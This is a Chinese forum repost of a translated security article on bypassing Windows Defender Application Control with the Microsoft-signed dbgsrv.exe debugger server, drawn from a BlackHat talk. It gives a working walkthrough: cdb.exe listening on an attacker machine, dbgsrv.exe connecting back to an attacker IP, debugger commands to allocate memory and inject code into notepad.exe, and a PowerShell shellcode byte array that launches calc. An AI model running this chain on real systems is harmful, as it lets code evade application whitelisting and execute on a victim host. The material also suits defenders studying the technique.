用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    80

    主题

    80

    帖子

    1055

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-8-9 19:19:36 0397

    22.jpg

    WDAC - Windows Defender应用程序控制
    

    微软自带应用和黑名单

    注:这篇文章包含了2019年Casey Smith和Ross Wolf在美国BlackHat大会上的演讲内容

    目前,Windows中存在很多基于白名单程序的代码执行绕过,攻击者会利用微软系统自带应用中的某些功能来合法执行恶意代码。由于大多数绕过方法都是基于系统应用的合法功能,而不是直接突破白名单的限制,所以微软通常不会对这些脆弱的应用大动干戈,但官方会维护一个应用“黑名单”列表,提示各大公司组织都应在自己的网络环境中限制这些应用,除非非用不可。

    如果你看下这个黑名单列表,你会看到很多熟悉的身影,比如:

    • Msbuild.exe

    • Wmic.exe

    • Mshta.exe

    此外,黑名单中还有另一类应用,主要是调试器工具,例如:

    • Cdb.exe

    • Dbghost.exe

    • Dbgsvc.exe

    • Windbg.exe

    从绕过的角度来看,调试器似乎并不是很常用,但是,它们被包含在这个黑名单肯定是有道理的,对吗?假设,如果我们能够与进程交互并修改其执行动作,那就可以绕过系统上的任何保护来执行任意代码。调试器也是如此,不同程序都可扩展调试功能,从而允许攻击者以意想不到的方式滥用功能,导致任意代码执行。

    让我们更深入地研究这个概念。

    利用远程调试进行绕过

    首先,让我们安装Windows 10 SDK(version 1903),特别是用于Windows的调试工具。在安装完成调试工具之后,让我们特别关注一下dbgsr.exe。与以前滥用白名单程序一样,找到一个可以利用的应用是重点。当使用sigcheckdbgsrv.exe进行检查,可以看到它是由Microsoft签名的。

    33.png

    下一个问题是dbgsr.exe究竟可做什么?它被称为“process server”,可让开发人员使用cdb.exe之类的调试器远程调试应用程序。你可以在这里查看该应用支持的各种命令行选项。其中,-t可让你为dbgsr.exe指定传输协议,这里还有进一步的说明文档dbgsr.exe支持的很多不同的传输方式:

    • 命名管道

    • TCP

    • 串行端口

    • SSL

    • 安全管道

    为了“远程调试”,主动让dbgsr.exe回连攻击者所控制的计算机,从而利用这个微软签名应用达到远控的效果。

    完成上述操作的第一步是设置调试器,将其配置为接受远程连接。这一步可以通过cdb.exe完成。虽然cdb.exe也在微软的黑名单中的,但这次它是在攻击者的机器上运行。接下来,我们就让dbgsr.exe回连到攻击者控制的机器。

    首先将cdb.exe配置为接收我们的传入连接,可以运行以下命令:

    &”C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe” -premote tcp:port=22,clicon=0.0.0.0 C:\Windows\system32\notepad.exe
    

    其中-premote选项代表cdb.exe应该监听22端口,当调试器接收到传入连接时,远程系统生成notepad.exe进行调试。

    44.png

    下一步是让dbgsr.exe连接到攻击者控制的系统,并与调试器进行交互。相关命令如下:

    “C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe” -t tcp:clicon=172.16.86.144,port=22
    

    以上命令代表dbgsrv.exe以TCP的形式连接到172.16.93.144的22端口。因为cdb.exe早已运行,一旦你运行上面的命令,你就会看到一个notepad.exe在受害者系统上出现。

    55.png

    再回到攻击者的机器上,我们现在可以通过cdb.exe与远程系统上的notepad.exe进行交互。

    66.png

    用cdb.exe注入恶意代码

    此时,只需使用cdb.exe将恶意代码注入notepad.exe并运行就大功告成了。这里牵涉到以下命令:

    • .dvalloc - 此命令将为调试后的进程中分配用户指定的内存

    • .readmem - 此命令将从文件中读取数据并将其复制到用户指定的内存地址中

    • .r @$ip= - 设置指令指针,从用户指定的内存地址开始运行命令

    • g - 指示cdb.exe开始执行

    要进行彻底的武器化,需要创建一个包含shell代码的文件。在本例中,Casey创建了一个名为“shellcode”的文件,里面的代码将弹出计算器。

    现在,我们需要在cdb中运行上述命令来攻击受害者系统。

    [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
      0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
      0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
      0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
      0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
      0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
      0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
      0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
      0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
      0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
      0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
      0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
      0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
      0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
      0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
      0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
      0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
    
    [io.file]::WriteAllBytes('shellcode.jpg',$Shellcode64)
    

    以上是利用powershell生成的恶意文件。

    77.png

    在执行完成之后,我们可以看到,受到严密保护的受害者系统跳出了计算器。

    88.png

    感谢你阅读这篇文章!

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2849.html
    来源:https://www.fortynorthsecurity.com/how-to-bypass-wdac-with-dbgsrv-exe/
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册